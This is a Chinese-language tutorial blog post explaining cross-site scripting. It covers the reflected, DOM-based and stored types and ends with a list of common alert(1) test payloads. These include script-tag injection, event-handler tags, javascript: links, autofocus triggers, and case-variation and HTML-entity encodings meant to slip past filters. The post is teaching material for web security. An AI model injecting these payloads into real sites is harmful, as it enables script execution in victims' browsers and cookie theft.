当前位置: 首页 > java >正文

XSS的介绍

目录

XSS的原理

反射型XSS

DOM型XSS

存储型XSS

常见的XSS Payload


XSS的原理

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面中执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。

XSS属于代码注入的一种,它允许攻击者将代码注入到网页,其他用户在浏览网页时就会受到影响。

XSS的产生原因就是没有对用户的输入做合法的过滤。

反射型XSS

在一个页面发现了一个功能,例如搜索,用户可以输入一些内容,这些内容会被插入到页面中,在过滤不严的情况下可能就会被页面解析。这些内容就包括恶意payload。因为没进数据库(输一次触发一次),所以是非持久型、短暂的且危害较小的一个漏洞。

反射型XSS的存在位置,可能在搜索、input表单,可能会存在过滤,可以通过编码等方式尝试绕过,JavaScript伪协议也可以触发XSS

DOM型XSS

因为 JS 可以控制页面中所有元素,所以在 JS 中可能会存在一些XSS的漏洞。这里和HTML的页面没关系了, JS 页面也可以触发payload。

<body><p id = "p">test</p>
</body>
<script>let p = document.getElementById('p');p.innerHTML = <script>alert(1)</script>  #这段代码会把p标签中的内容替换为<script>alert(1)</script>,就触发了
</script>

上面的触发过程和HTML没有关系,是被 JS 完整控制触发的,这种被称为DOM型XSS。

存储型XSS

提交的东西真的被存到数据库并且可以触发。是持久型的。通常发生在留言板等地方

常见的XSS Payload

(1)<script>标签直接注入
<script>alert(1)</script>
# 原理:直接插入<script>标签,内容会被浏览器解析为JS代码并执行。
(2)HTML事件处理器
<img src=1 onerror=alert(1)>  
<svg/onload=alert(1)>
# 原理:通过HTML标签的事件属性(如onerror、onload)触发JS代码。
(3)javascript:伪协议
<a href="javascript:alert(1)">aaaa</a>
# 原理:通过javascript:协议在用户点击链接时执行JS代码(需要用户交互)。
(4)自动聚焦(autofocus+onfocus)
<input onfocus=alert(1) autofocus>
# 原理:autofocus:使输入框自动获得焦点。onfocus:当元素聚焦时触发JS代码。(无需用户交互)
(5)大小写/标签变形
<ScRipT>alert(1)</sCriPt>
<IMG SRC=x ONERROR=alert(1)>
# 目的:绕过简单的关键字过滤(如正则匹配<script>)
(6)编码绕过
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
# 原理:使用HTML实体编码(如alert(1)———>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;)
http://www.xdnf.cn/news/15878.html

相关文章:

  • LWJGL教程(3)——时间
  • JWT原理及利用手法
  • 基于单片机倾角测量仪/角度测量/水平仪
  • spring-ai-alibaba如何上传文件并解析
  • 【高等数学】第四章 不定积分——第四节 有理函数的积分
  • 元学习算法的数学本质:从MAML到Reptile的理论统一与深度分析
  • 人脸识别:AI 如何精准 “认人”?
  • 【新手向】PyTorch常用Tensor shape变换方法
  • Spring Boot 订单超时自动取消的 3 种主流实现方案
  • 响应式编程入门教程第九节:UniRx 高级特性与自定义
  • LeetCode|Day20|9. 回文数|Python刷题笔记
  • DOM型XSS破坏
  • PID控制原理分析及应用(稳态误差详细分析)(一)
  • 如何升级Docker部署的Dify
  • API接口签名和敏感信息加密使用国密SM方案
  • 数据结构——时间复杂度
  • Python知识点4-嵌套循环break和continue使用死循环
  • 论文分享(一)
  • Spring MVC上下文容器在Web容器中是如何启动的(源码深入剖析)?
  • Self-Consistency:跨学科一致性的理论与AI推理的可靠性基石
  • Linux操作系统从入门到实战(十一)回车换行问题与用户缓冲区问题
  • 通俗易懂神经网络:从基础到实现
  • 学习日志15 python
  • 零基础入门 AI 运维:Linux 部署全栈项目实战(MySQL+Nginx + 私有化大模型)
  • 【1】计算机视觉方法(更新)
  • selenium4 web自动化测试
  • 面向对象基础笔记
  • QFutureInterface和QFuture间联系与区别
  • 《计算机网络》实验报告五 DNS协议分析与测量
  • 两个数据表的故事第 2 部分:理解“设计”Dk